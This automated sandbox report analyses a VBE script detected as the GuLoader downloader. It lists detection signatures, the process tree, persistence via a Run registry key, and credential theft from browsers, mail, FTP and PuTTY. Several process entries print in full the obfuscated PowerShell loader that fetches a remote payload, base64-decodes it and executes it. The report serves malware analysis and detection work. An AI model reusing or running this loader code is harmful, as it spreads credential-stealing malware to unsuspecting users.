Edit tour

Windows Analysis Report
Inquiry Studbolt - 240703.vbe

Overview

General Information

Sample name:	Inquiry Studbolt - 240703.vbe
Analysis ID:	1466653
MD5:	cac00b561578ffb0e2b2b2fd96eec0cd
SHA1:	16ffdf688abd43ccfaa46f24709ade48af5534e7
SHA256:	8876ad4754fb4f61ba5489924603d279dc023f68c1ba847020107a376de9a9ad
Infos:

Detection

GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Yara detected GuLoader

Yara detected Powershell download and execute

Check if machine is in data center or colocation facility

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Found suspicious powershell code related to unpacking or dynamic code loading

Hides that the sample has been downloaded from the Internet (zone.identifier)

Obfuscated command line found

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Very long command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64native

wscript.exe (PID: 9044 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Inquiry Studbolt - 240703.vbe" MD5: 0639B0A6F69B3265C1E42227D650B7D1)

powershell.exe (PID: 2680 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds';If (${host}.CurrentCulture) {$Smaastykker++;}Function Immatrikulationens($Marios){$Syntomy=$Marios.Length-$Smaastykker;$Pronenesses='SUBsTRI';$Pronenesses+='ng';For( $Dipsomaniacs=2;$Dipsomaniacs -lt $Syntomy;$Dipsomaniacs+=3){$Nugacities+=$Marios.$Pronenesses.Invoke( $Dipsomaniacs, $Smaastykker);}$Nugacities;}function Influerende($Svippedes){ . ($Gnier111) ($Svippedes);}$Sclaffs=Immatrikulationens 'HuMN,oGazHuiKal,elBeaDa/p,5La.Fr0Ru He(A WPuiCun UdKuo .wSls l .N sTEp Li1 B0Fy.P,0.y;I. .eWCaiB,nS,6Di4Te;Vi Bx,o6E.4,i;No BurUlvGl:Un1Co2Sy1D.. U0 n)Sw IGSceV c.hkCyoNo/ C2Ch0cu1tr0di0Ko1Dr0Pe1Li AwF.ni drAreOrfT.oSixCo/R 1 2Re1 J.So0.a ';$Dissers=Immatrikulationens 'G U Es ne .r,e-IdA agEmeS,nSttso ';$Redesignating=Immatrikulationens ' RhAft CtBepS sKu:Va/ P/ .datrUdiF,vOveSa. UgTaoSko,eg UlSoeCa.Syc Uo emVe/,euBecKr?D,eCoxI,p Ko ,r StIn=,edIro .wK.n.el,roChagld.a&Fristd.e=Ac1N,T uTaX o3InpKaGRoV .QOmO Mu AYReuD.NOv0UnPMoVFifA.0s.S ,1PrvChuSaO,eoK.v,uPV,ZVacE 7Ar6PhtUd5 ';$Bourre=Immatrikulationens 's,>I ';$Gnier111=Immatrikulationens 'FriSke Ix ';$Hoodwinked='Fiskeflaaderne';$Parastades = Immatrikulationens ' FeGacF,h Fo,r .l%K.a epAlpSpdJiaOutPeaU,%,l\FrBMoe ol YlAteT rKiiPacUn7C.4 F.G,AB,f RsEk Fo&St&K, HeCyc DhKloCo U.t n ';Influerende (Immatrikulationens 'Ti$ExgAllIdoHubbea Klsa: .CDehJeaHecSpoCun Nn FeGur Us J1 S7A,2.v=Be(CacCamMadS Si/TucEx Co$P.PTwaSirDeas.s,ft AaAedReeKosPe),r ');Influerende (Immatrikulationens 'Sn$S.g OlCuoFobTuanolL :KrHKoyBag .iDieI,jUnnSke uk Oo amVemEksMii oo .nUbeDenUdsW,= T$DeRJae.jd Ee .sBiiIngOpn,saYat riSonFeg T.C.s.vpB.lGei StUn(Fa$ UB o Au.tr FrByeP.) ');Influerende (Immatrikulationens ' T[ IN ieUrtPs.P S,beRer Iv .iTicReeDuPPlo iiAfno,tLiMS,aLin Ta hg MeKorDi]no:Fi: SPre,gcS,uTir iUnt,eyAmPBrrCeo etTroUscstoSvl E ,o= T I [AnNDreUnt.k.F SDeeWecTuu .r.hi ,t,myAtP.tr SoHitFooM,cDuo lUnT.uy ApSle r] l:s.: ,TOflsmsPa1Un2 A ');$Redesignating=$Hygiejnekommsionens[0];$Fangstbaaden190= (Immatrikulationens 'Am$,igUnlhaoEqbKla.al,e:.lKcooSun ,sFoe rk MvTeec,nL,tHjePosOs=.mNFieOpwS -W,O ab .jBleIncDetCa thS PyResAntTee .mMu.EpN KeP.t a.S,WSoe,ebOvC .lFaiKbeA.nLkt');$Fangstbaaden190+=$Chaconners172[1];Influerende ($Fangstbaaden190);Influerende (Immatrikulationens 'Ar$ToKFooKvnOvsK.edok,nv neMonM.tSpeMes P. PH.eeFraPldCye rOcs .[ b$VeD AiSpsR s KeHer .s u]Ud=Be$P,SIncAtlAuaHefI f FsCo ');$Omkranses=Immatrikulationens 'Be$AfKGeoK,nB.sKoe ,k,ov He.lnDit eCosOv. uDDio.awTan .l Lo SaD dV F ,iExl,me C(Te$H,RBreKndSneJesPiiTigFunS,aVit Si ,nCugFa,Ma$ Vp iRetM.iyeaNolSa)Ka ';$Vitial=$Chaconners172[0];Influerende (Immatrikulationens 'Au$ ,gSelDioClbInaEnlRe:OvSTyk.trGruI pElfO o rS ePala sKnkBrefytL,=Un(suTAfeTusS,t S-MeP paA t.oh U A,$FeV aiHetAmiPaa alKe)H ');while (!$Skrupforelsket) {Influerende (Immatrikulationens 'N.$ gCrl ,o yb naEylHe:M BRee Cfs.e rEjnO.eO.dBa= P$EntMarBausyeKn ') ;Influerende $Omkranses;Influerende (Immatrikulationens 'D S ,tTaastr gtDa-hySSklLee SeKupT. .u4Un ');Influerende (Immatrikulationens 'Ch$U.gRelhaoR b aR lre:AfSUnkKur BuW,pKrfEro SrA ePrl .sOgkP,eGetA =Te(MiTnoeGis rt T- SP abetGah a Su$.aVPuiUntBaig aSllUn)Sw ') ;Influerende (Immatrikulationens 'Re$IngPolFiostb ,aKalMe:,rPS a.nlK,aPetMoaGnltoiE.s,ye ,=Pl$D gBals.oAnbSpaSllSp:meKT oS.mT.eTad aiK aO,n Ut reS.rT.1 0Gy4 a+Wi+Ne%Sa$S HHayAmgUniTreMaj.an.weA,kTeo .m PmNos,ei AoPlnMyeFinResSk.V cMaoDuuMenGit.o ') ;$Redesignating=$Hygiejnekommsionens[$Palatalise];}$Pushmina119=294060;$Faseforvrngning=27039;Influerende (Immatrikulationens ' h$R,gAdlU.oSob a HlFl: .DGri .sLacPoo .pP.h ei Cl,cefl Di=Pr .GYveBot,t-K,CS,o fnG.t Ge YnThtNi .i$KlV aiT,ts,i,aaOrl U ');Influerende (Immatrikulationens ' N$Deg TlStoBrb a,elOu: JJBaoprv.pi Ma lB iUnt TyFl Be=Br E.[UtSP y As,at ,e,pmAf. AC.uo FnP v SeB rAgtG ]Mi:S :UnFSlrepo.emRuB.paJ.sOdeU 6.e4BrSWitTir ei Ln mg,o(Th$BeDEni .sN,cAno.cpSkhvaiKol Be R).a ');Influerende (Immatrikulationens 'Ta$ CgmulP oInbCoaOdlSt:SuRTye fS,rP,a cBrtAnis,nIngUn Th=.n fr[OvSGay,ysBetOue em.a.,eT,neSexAnt K.,vE .naucEkoBedsoi Kn,sgAs]M,:Ve:biAS,SBaCCaIP,IMu.SuG me AtSeSU t Cr.eiR nL g.u( D$InJBro .vB.iC.ae.l ,iApt ,yAf)Le ');Influerende (Immatrikulationens ' k$Fog .l Eo cbK aC lEn: PEFnfQufGuelacmutCieTrdMe= .$ oR eHef .rAka c Ct,ei onAmg,f. lsApu Ob sPltD r .i onEbg ,( W$BlP nuFesBihBemU.i Fn AaSa1 e1,p9 F,Sp$SoFSaa SsR,eDof,noUdr bvSnr snBigAan,di,onL.gLe)De ');Influerende $Effected;" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 320 cmdline: "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Belleric74.Afs && echo t" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 6840 cmdline: "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds';If (${host}.CurrentCulture) {$Smaastykker++;}Function Immatrikulationens($Marios){$Syntomy=$Marios.Length-$Smaastykker;$Pronenesses='SUBsTRI';$Pronenesses+='ng';For( $Dipsomaniacs=2;$Dipsomaniacs -lt $Syntomy;$Dipsomaniacs+=3){$Nugacities+=$Marios.$Pronenesses.Invoke( $Dipsomaniacs, $Smaastykker);}$Nugacities;}function Influerende($Svippedes){ . ($Gnier111) ($Svippedes);}$Sclaffs=Immatrikulationens 'HuMN,oGazHuiKal,elBeaDa/p,5La.Fr0Ru He(A WPuiCun UdKuo .wSls l .N sTEp Li1 B0Fy.P,0.y;I. .eWCaiB,nS,6Di4Te;Vi Bx,o6E.4,i;No BurUlvGl:Un1Co2Sy1D.. U0 n)Sw IGSceV c.hkCyoNo/ C2Ch0cu1tr0di0Ko1Dr0Pe1Li AwF.ni drAreOrfT.oSixCo/R 1 2Re1 J.So0.a ';$Dissers=Immatrikulationens 'G U Es ne .r,e-IdA agEmeS,nSttso ';$Redesignating=Immatrikulationens ' RhAft CtBepS sKu:Va/ P/ .datrUdiF,vOveSa. UgTaoSko,eg UlSoeCa.Syc Uo emVe/,euBecKr?D,eCoxI,p Ko ,r StIn=,edIro .wK.n.el,roChagld.a&Fristd.e=Ac1N,T uTaX o3InpKaGRoV .QOmO Mu AYReuD.NOv0UnPMoVFifA.0s.S ,1PrvChuSaO,eoK.v,uPV,ZVacE 7Ar6PhtUd5 ';$Bourre=Immatrikulationens 's,>I ';$Gnier111=Immatrikulationens 'FriSke Ix ';$Hoodwinked='Fiskeflaaderne';$Parastades = Immatrikulationens ' FeGacF,h Fo,r .l%K.a epAlpSpdJiaOutPeaU,%,l\FrBMoe ol YlAteT rKiiPacUn7C.4 F.G,AB,f RsEk Fo&St&K, HeCyc DhKloCo U.t n ';Influerende (Immatrikulationens 'Ti$ExgAllIdoHubbea Klsa: .CDehJeaHecSpoCun Nn FeGur Us J1 S7A,2.v=Be(CacCamMadS Si/TucEx Co$P.PTwaSirDeas.s,ft AaAedReeKosPe),r ');Influerende (Immatrikulationens 'Sn$S.g OlCuoFobTuanolL :KrHKoyBag .iDieI,jUnnSke uk Oo amVemEksMii oo .nUbeDenUdsW,= T$DeRJae.jd Ee .sBiiIngOpn,saYat riSonFeg T.C.s.vpB.lGei StUn(Fa$ UB o Au.tr FrByeP.) ');Influerende (Immatrikulationens ' T[ IN ieUrtPs.P S,beRer Iv .iTicReeDuPPlo iiAfno,tLiMS,aLin Ta hg MeKorDi]no:Fi: SPre,gcS,uTir iUnt,eyAmPBrrCeo etTroUscstoSvl E ,o= T I [AnNDreUnt.k.F SDeeWecTuu .r.hi ,t,myAtP.tr SoHitFooM,cDuo lUnT.uy ApSle r] l:s.: ,TOflsmsPa1Un2 A ');$Redesignating=$Hygiejnekommsionens[0];$Fangstbaaden190= (Immatrikulationens 'Am$,igUnlhaoEqbKla.al,e:.lKcooSun ,sFoe rk MvTeec,nL,tHjePosOs=.mNFieOpwS -W,O ab .jBleIncDetCa thS PyResAntTee .mMu.EpN KeP.t a.S,WSoe,ebOvC .lFaiKbeA.nLkt');$Fangstbaaden190+=$Chaconners172[1];Influerende ($Fangstbaaden190);Influerende (Immatrikulationens 'Ar$ToKFooKvnOvsK.edok,nv neMonM.tSpeMes P. PH.eeFraPldCye rOcs .[ b$VeD AiSpsR s KeHer .s u]Ud=Be$P,SIncAtlAuaHefI f FsCo ');$Omkranses=Immatrikulationens 'Be$AfKGeoK,nB.sKoe ,k,ov He.lnDit eCosOv. uDDio.awTan .l Lo SaD dV F ,iExl,me C(Te$H,RBreKndSneJesPiiTigFunS,aVit Si ,nCugFa,Ma$ Vp iRetM.iyeaNolSa)Ka ';$Vitial=$Chaconners172[0];Influerende (Immatrikulationens 'Au$ ,gSelDioClbInaEnlRe:OvSTyk.trGruI pElfO o rS ePala sKnkBrefytL,=Un(suTAfeTusS,t S-MeP paA t.oh U A,$FeV aiHetAmiPaa alKe)H ');while (!$Skrupforelsket) {Influerende (Immatrikulationens 'N.$ gCrl ,o yb naEylHe:M BRee Cfs.e rEjnO.eO.dBa= P$EntMarBausyeKn ') ;Influerende $Omkranses;Influerende (Immatrikulationens 'D S ,tTaastr gtDa-hySSklLee SeKupT. .u4Un ');Influerende (Immatrikulationens 'Ch$U.gRelhaoR b aR lre:AfSUnkKur BuW,pKrfEro SrA ePrl .sOgkP,eGetA =Te(MiTnoeGis rt T- SP abetGah a Su$.aVPuiUntBaig aSllUn)Sw ') ;Influerende (Immatrikulationens 'Re$IngPolFiostb ,aKalMe:,rPS a.nlK,aPetMoaGnltoiE.s,ye ,=Pl$D gBals.oAnbSpaSllSp:meKT oS.mT.eTad aiK aO,n Ut reS.rT.1 0Gy4 a+Wi+Ne%Sa$S HHayAmgUniTreMaj.an.weA,kTeo .m PmNos,ei AoPlnMyeFinResSk.V cMaoDuuMenGit.o ') ;$Redesignating=$Hygiejnekommsionens[$Palatalise];}$Pushmina119=294060;$Faseforvrngning=27039;Influerende (Immatrikulationens ' h$R,gAdlU.oSob a HlFl: .DGri .sLacPoo .pP.h ei Cl,cefl Di=Pr .GYveBot,t-K,CS,o fnG.t Ge YnThtNi .i$KlV aiT,ts,i,aaOrl U ');Influerende (Immatrikulationens ' N$Deg TlStoBrb a,elOu: JJBaoprv.pi Ma lB iUnt TyFl Be=Br E.[UtSP y As,at ,e,pmAf. AC.uo FnP v SeB rAgtG ]Mi:S :UnFSlrepo.emRuB.paJ.sOdeU 6.e4BrSWitTir ei Ln mg,o(Th$BeDEni .sN,cAno.cpSkhvaiKol Be R).a ');Influerende (Immatrikulationens 'Ta$ CgmulP oInbCoaOdlSt:SuRTye fS,rP,a cBrtAnis,nIngUn Th=.n fr[OvSGay,ysBetOue em.a.,eT,neSexAnt K.,vE .naucEkoBedsoi Kn,sgAs]M,:Ve:biAS,SBaCCaIP,IMu.SuG me AtSeSU t Cr.eiR nL g.u( D$InJBro .vB.iC.ae.l ,iApt ,yAf)Le ');Influerende (Immatrikulationens ' k$Fog .l Eo cbK aC lEn: PEFnfQufGuelacmutCieTrdMe= .$ oR eHef .rAka c Ct,ei onAmg,f. lsApu Ob sPltD r .i onEbg ,( W$BlP nuFesBihBemU.i Fn AaSa1 e1,p9 F,Sp$SoFSaa SsR,eDof,noUdr bvSnr snBigAan,di,onL.gLe)De ');Influerende $Effected;" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 7912 cmdline: "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Belleric74.Afs && echo t" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

wab.exe (PID: 9032 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)

GrOcCQC.exe (PID: 4764 cmdline: "C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)

rundll32.exe (PID: 6136 cmdline: C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding MD5: EF3179D498793BF4234F708D3BE28633)

GrOcCQC.exe (PID: 2516 cmdline: "C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000D.00000002.878918969194.0000000008A70000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
0000000F.00000002.882856308898.0000000020C85000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.878919425134.0000000008CCF000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: powershell.exe PID: 2680	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 2680	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x31915c:$b2: ::FromBase64String( 0x41729:$s1: -join 0x41c45:$s1: -join 0x54ccd:$s1: -join 0x54d07:$s1: -join 0x54df6:$s1: -join 0x54fa7:$s1: -join 0x54fc9:$s1: -join 0x5527e:$s1: -join 0x5529e:$s1: -join 0x552d0:$s1: -join 0x55318:$s1: -join 0x55345:$s1: -join 0x5536c:$s1: -join 0x55396:$s1: -join 0x553fb:$s1: -join 0x558a7:$s1: -join 0x558c8:$s1: -join 0x55916:$s1: -join 0x5593f:$s1: -join 0x5596e:$s1: -join
Process Memory Space: powershell.exe PID: 6840	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 6840	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x2a6258:$b2: ::FromBase64String( 0x2eeb8:$s1: -join 0x3bf8d:$s1: -join 0x3f35f:$s1: -join 0x3fa11:$s1: -join 0x41502:$s1: -join 0x43708:$s1: -join 0x43f2f:$s1: -join 0x4479f:$s1: -join 0x44eda:$s1: -join 0x44f0c:$s1: -join 0x44f54:$s1: -join 0x44f73:$s1: -join 0x457c3:$s1: -join 0x4593f:$s1: -join 0x459b7:$s1: -join 0x45a4a:$s1: -join 0x45cb0:$s1: -join 0x47e46:$s1: -join 0x56890:$s1: -join 0x6bfd8:$s1: -join
Process Memory Space: wab.exe PID: 9032	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 3 entries

Other

Source	Rule	Description	Author	Strings
amsi64_2680.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi32_6840.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xdd2c:$b2: ::FromBase64String( 0xcdb0:$s1: -join 0x655c:$s4: += 0x661e:$s4: += 0xa845:$s4: += 0xc962:$s4: += 0xcc4c:$s4: += 0xcd92:$s4: += 0x16060:$s4: += 0x160e0:$s4: += 0x161a6:$s4: += 0x16226:$s4: += 0x163fc:$s4: += 0x16480:$s4: += 0xd5d7:$e4: Get-WmiObject 0xd7c6:$e4: Get-Process 0xd81e:$e4: Start-Process 0x16cd8:$e4: Get-Process

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Inquiry Studbolt - 240703.vbe", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Inquiry Studbolt - 240703.vbe", CommandLine|base64offset|contains: Jnm, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2692, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Inquiry Studbolt - 240703.vbe", ProcessId: 9044, ProcessName: wscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe, EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Windows Mail\wab.exe, ProcessId: 9032, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GrOcCQC

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Inquiry Studbolt - 240703.vbe", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Inquiry Studbolt - 240703.vbe", CommandLine|base64offset|contains: Jnm, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2692, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Inquiry Studbolt - 240703.vbe", ProcessId: 9044, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds';If (${host}.CurrentCulture) {$Smaastykker++;}Function Immatrikulationens($Marios){$Syntomy=$Marios.Length-$Smaastykker;$Pronenesses='SUBsTRI';$Pronenesses+='ng';For( $Dipsomaniacs=2;$Dipsomaniacs -lt $Syntomy;$Dipsomaniacs+=3){$Nugacities+=$Marios.$Pronenesses.Invoke( $Dipsomaniacs, $Smaastykker);}$Nugacities;}function Influerende($Svippedes){ . ($Gnier111) ($Svippedes);}$Sclaffs=Immatrikulationens 'HuMN,oGazHuiKal,elBeaDa/p,5La.Fr0Ru He(A WPuiCun UdKuo .wSls l .N sTEp Li1 B0Fy.P,0.y;I. .eWCaiB,nS,6Di4Te;Vi Bx,o6E.4,i;No BurUlvGl:Un1Co2Sy1D.. U0 n)Sw IGSceV c.hkCyoNo/ C2Ch0cu1tr0di0Ko1Dr0Pe1Li AwF.ni drAreOrfT.oSixCo/R 1 2Re1 J.So0.a ';$Dissers=Immatrikulationens 'G U Es ne .r,e-IdA agEmeS,nSttso ';$Redesignating=Immatrikulationens ' RhAft CtBepS sKu:Va/ P/ .datrUdiF,vOveSa. UgTaoSko,eg UlSoeCa.Syc Uo emVe/,euBecKr?D,eCoxI,p Ko ,r StIn=,edIro .wK.n.el,roChagld.a&Fristd.e=Ac1N,T uTaX o3InpKaGRoV .QOmO Mu AYReuD.NOv0UnPMoVFifA.0s.S ,1PrvChuSaO,eoK.v,uPV,ZVacE 7Ar6PhtUd5 ';$Bourre=Immatrikulationens 's,>I ';$Gnier111=Immatrikulationens 'FriSke Ix ';$Hoodwinked='Fiskeflaaderne';$Parastades = Immatrikulationens ' FeGacF,h Fo,r .l%K.a epAlpSpdJiaOutPeaU,%,l\FrBMoe ol YlAteT rKiiPacUn7C.4 F.G,AB,f RsEk Fo&St&K, HeCyc DhKloCo U.t n ';Influerende (Immatrikulationens 'Ti$ExgAllIdoHubbea Klsa: .CDehJeaHecSpoCun Nn FeGur Us J1 S7A,2.v=Be(CacCamMadS Si/TucEx Co$P.PTwaSirDeas.s,ft AaAedReeKosPe),r ');Influerende (Immatrikulationens 'Sn$S.g OlCuoFobTuanolL :KrHKoyBag .iDieI,jUnnSke uk Oo amVemEksMii oo .nUbeDenUdsW,= T$DeRJae.jd Ee .sBiiIngOpn,saYat riSonFeg T.C.s.vpB.lGei StUn(Fa$ UB o Au.tr FrByeP.) ');Influerende (Immatrikulationens ' T[ IN ieUrtPs.P S,beRer Iv .iTicReeDuPPlo iiAfno,tLiMS,aLin Ta hg MeKorDi]no:Fi: SPre,gcS,uTir iUnt,eyAmPBrrCeo etTroUscstoSvl E ,o= T I [AnNDreUnt.k.F SDeeWecTuu .r.hi ,t,myAtP.tr SoHitFooM,cDuo lUnT.uy ApSle r] l:s.: ,TOflsmsPa1Un2 A ');$Redesignating=$Hygiejnekommsionens[0];$Fangstbaaden190= (Immatrikulationens 'Am$,igUnlhaoEqbKla.al,e:.lKcooSun ,sFoe rk MvTeec,nL,tHjePosOs=.mNFieOpwS -W,O ab .jBleIncDetCa thS PyResAntTee .mMu.EpN KeP.t a.S,WSoe,ebOvC .lFaiKbeA.nLkt');$Fangstbaaden190+=$Chaconners172[1];Influerende ($Fangstbaaden190);Influerende (Immatrikulationens 'Ar$ToKFooKvnOvsK.edok,nv neMonM.tSpeMes P. PH.eeFraPldCye rOcs .[ b$VeD AiSpsR s KeHer

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for domain / URL

Source: http://pesterbdd.com/images/Pester.png4	Virustotal: Detection: 10%	Perma Link
Source: http://pesterbdd.com/images/Pester.pngh	Virustotal: Detection: 12%	Perma Link
Source: http://pesterbdd.com/images/Pester.png	Virustotal: Detection: 9%	Perma Link

Source: unknown	HTTPS traffic detected: 142.250.191.110:443 -> 192.168.11.30:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.2.33:443 -> 192.168.11.30:49950 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.191.110:443 -> 192.168.11.30:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.2.33:443 -> 192.168.11.30:49952 version: TLS 1.2

Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 0000000D.00000002.878914102008.0000000007121000.00000004.00000020.00020000.00000000.sdmp
